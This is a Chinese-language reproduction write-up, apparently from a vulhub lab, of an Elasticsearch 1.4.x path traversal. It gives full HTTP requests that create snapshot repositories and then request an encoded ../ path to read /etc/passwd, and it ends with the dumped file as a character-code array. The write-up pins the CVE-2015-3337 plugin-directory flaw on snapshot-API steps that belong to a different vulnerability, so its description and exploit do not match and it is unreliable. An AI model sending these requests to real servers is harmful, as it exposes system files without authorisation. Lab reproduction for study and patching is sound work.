0x01 漏洞描述

在安装了具有“site”功能的插件以后，插件目录使用../ 即可向上跳转，导致目录穿越漏洞，可读取任意文件。没有安装任意插件的elasticsearch不受影响。

0x02 漏洞影响

CVE-2015-3337 ElasticSearch

jre版本：openjdk:8-jre

elasticsearch版本：v1.4.4

影响版本：1.4.5以下/1.5.2以下

0x03 漏洞复现

vulhub

新建一个仓库

PUT /_snapshot/test HTTP/1.1
Host: 192.168.1.248:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 110

{
    "type": "fs",
    "settings": {
        "location": "/usr/share/elasticsearch/repo/test" 
    }
}

Untitled

新建快照

PUT /_snapshot/test2 HTTP/1.1
Host: 192.168.1.248:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 128

{
    "type": "fs",
    "settings": {
        "location": "/usr/share/elasticsearch/repo/test/snapshot-backdata" 
    }
}

Untitled

访问链接：http://192.168.1.248:9200/_snapshot/test/backdata%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

GET /_snapshot/test/backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1
Host: 192.168.1.248:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

Untitled

输出的内容为ascii编码，浏览器的console转码

String.fromCharCode(114, 111, 111, 116, 58, 120, 58, 48, 58, 48, 58, 114, 111, 111, 116, 58, 47, 114, 111, 111, 116, 58, 47, 98, 105, 110, 47, 98, 97, 115, 104, 10, 100, 97, 101, 109, 111, 110, 58, 120, 58, 49, 58, 49, 58, 100, 97, 101, 109, 111, 110, 58, 47, 117, 115, 114, 47, 115, 98, 105, 110, 58, 47, 117, 115, 114, 47, 115, 98, 105, 110, 47, 110, 111, 108, 111, 103, 105, 110, 10, 98, 105, 110, 58, 120, 58, 50, 58, 50, 58, 98, 105, 110, 58, 47, 98, 105, 110, 58, 47, 117, 115, 114, 47, 115, 98, 105, 110, 47, 110, 111, 108, 111, 103, 105, 110, 10, 115, 121, 115, 58, 120, 58, 51, 58, 51, 58, 115, 121, 115, 58, 47, 100, 101, 118, 58, 47, 117, 115, 114, 47, 115, 98, 105, 110, 47, 110, 111, 108, 111, 103, 105, 110, 10, 115, 121, 110, 99, 58, 120, 58, 52, 58, 54, 53, 53, 51, 52, 58, 115, 121, 110, 99, 58, 47, 98, 105, 110, 58, 47, 98, 105, 110, 47, 115, 121, 110, 99, 10, 103, 97, 109, 101, 115, 58, 120, 58, 53, 58, 54, 48, 58, 103, 97, 109, 101, 115, 58, 47, 117, 115, 114, 47, 103, 97, 109, 101, 115, 58, 47, 117, 115, 114, 47, 115, 98, 105, 110, 47, 110, 111, 108, 111, 103, 105, 110, 10, 109, 97, 110, 58, 120, 58, 54, 58, 49, 50, 58, 109, 97, 110, 58, 47, 118, 97, 114, 47, 99, 97, 99, 104, 101, 47, 109, 97, 110, 58, 47, 117, 115, 114, 47, 115, 98, 105, 110, 47, 110, 111, 108, 111, 103, 105, 110, 10, 108, 112, 58, 120, 58, 55, 58, 55, 58, 108, 112, 58, 47, 118, 97, 114, 47, 115, 112, 111, 111, 108, 47, 108, 112, 100, 58, 47, 117, 115, 114, 47, 115, 98, 105, 110, 47, 110, 111, 108, 111, 103, 105, 110, 10, 109, 97, 105, 108, 58, 120, 58, 56, 58, 56, 58, 109, 97, 105, 108, 58, 47, 118, 97, 114, 47, 109, 97, 105, 108, 58, 47, 117, 115, 114, 47, 115, 98, 105, 110, 47, 110, 111, 108, 111, 103, 105, 110, 10, 110, 101, 119, 115, 58, 120, 58, 57, 58, 57, 58, 110, 101, 119, 115, 58, 47, 118, 97, 114, 47, 115, 112, 111, 111, 108, 47, 110, 101, 119, 115, 58, 47, 117, 115, 114, 47, 115, 98, 105, 110, 47, 110, 111, 108, 111, 103, 105, 110, 10, 117, 117, 99, 112, 58, 120, 58, 49, 48, 58, 49, 48, 58, 117, 117, 99, 112, 58, 47, 118, 97, 114, 47, 115, 112, 111, 111, 108, 47, 117, 117, 99, 112, 58, 47, 117, 115, 114, 47, 115, 98, 105, 110, 47, 110, 111, 108, 111, 103, 105, 110, 10, 112, 114, 111, 120, 121, 58, 120, 58, 49, 51, 58, 49, 51, 58, 112, 114, 111, 120, 121, 58, 47, 98, 105, 110, 58, 47, 117, 115, 114, 47, 115, 98, 105, 110, 47, 110, 111, 108, 111, 103, 105, 110, 10, 119, 119, 119, 45, 100, 97, 116, 97, 58, 120, 58, 51, 51, 58, 51, 51, 58, 119, 119, 119, 45, 100, 97, 116, 97, 58, 47, 118, 97, 114, 47, 119, 119, 119, 58, 47, 117, 115, 114, 47, 115, 98, 105, 110, 47, 110, 111, 108, 111, 103, 105, 110, 10, 98, 97, 99, 107, 117, 112, 58, 120, 58, 51, 52, 58, 51, 52, 58, 98, 97, 99, 107, 117, 112, 58, 47, 118, 97, 114, 47, 98, 97, 99, 107, 117, 112, 115, 58, 47, 117, 115, 114, 47, 115, 98, 105, 110, 47, 110, 111, 108, 111, 103, 105, 110, 10, 108, 105, 115, 116, 58, 120, 58, 51, 56, 58, 51, 56, 58, 77, 97, 105, 108, 105, 110, 103, 32, 76, 105, 115, 116, 32, 77, 97, 110, 97, 103, 101, 114, 58, 47, 118, 97, 114, 47, 108, 105, 115, 116, 58, 47, 117, 115, 114, 47, 115, 98, 105, 110, 47, 110, 111, 108, 111, 103, 105, 110, 10, 105, 114, 99, 58, 120, 58, 51, 57, 58, 51, 57, 58, 105, 114, 99, 100, 58, 47, 118, 97, 114, 47, 114, 117, 110, 47, 105, 114, 99, 100, 58, 47, 117, 115, 114, 47, 115, 98, 105, 110, 47, 110, 111, 108, 111, 103, 105, 110, 10, 103, 110, 97, 116, 115, 58, 120, 58, 52, 49, 58, 52, 49, 58, 71, 110, 97, 116, 115, 32, 66, 117, 103, 45, 82, 101, 112, 111, 114, 116, 105, 110, 103, 32, 83, 121, 115, 116, 101, 109, 32, 40, 97, 100, 109, 105, 110, 41, 58, 47, 118, 97, 114, 47, 108, 105, 98, 47, 103, 110, 97, 116, 115, 58, 47, 117, 115, 114, 47, 115, 98, 105, 110, 47, 110, 111, 108, 111, 103, 105, 110, 10, 110, 111, 98, 111, 100, 121, 58, 120, 58, 54, 53, 53, 51, 52, 58, 54, 53, 53, 51, 52, 58, 110, 111, 98, 111, 100, 121, 58, 47, 110, 111, 110, 101, 120, 105, 115, 116, 101, 110, 116, 58, 47, 117, 115, 114, 47, 115, 98, 105, 110, 47, 110, 111, 108, 111, 103, 105, 110, 10, 95, 97, 112, 116, 58, 120, 58, 49, 48, 48, 58, 54, 53, 53, 51, 52, 58, 58, 47, 110, 111, 110, 101, 120, 105, 115, 116, 101, 110, 116, 58, 47, 98, 105, 110, 47, 102, 97, 108, 115, 101, 10);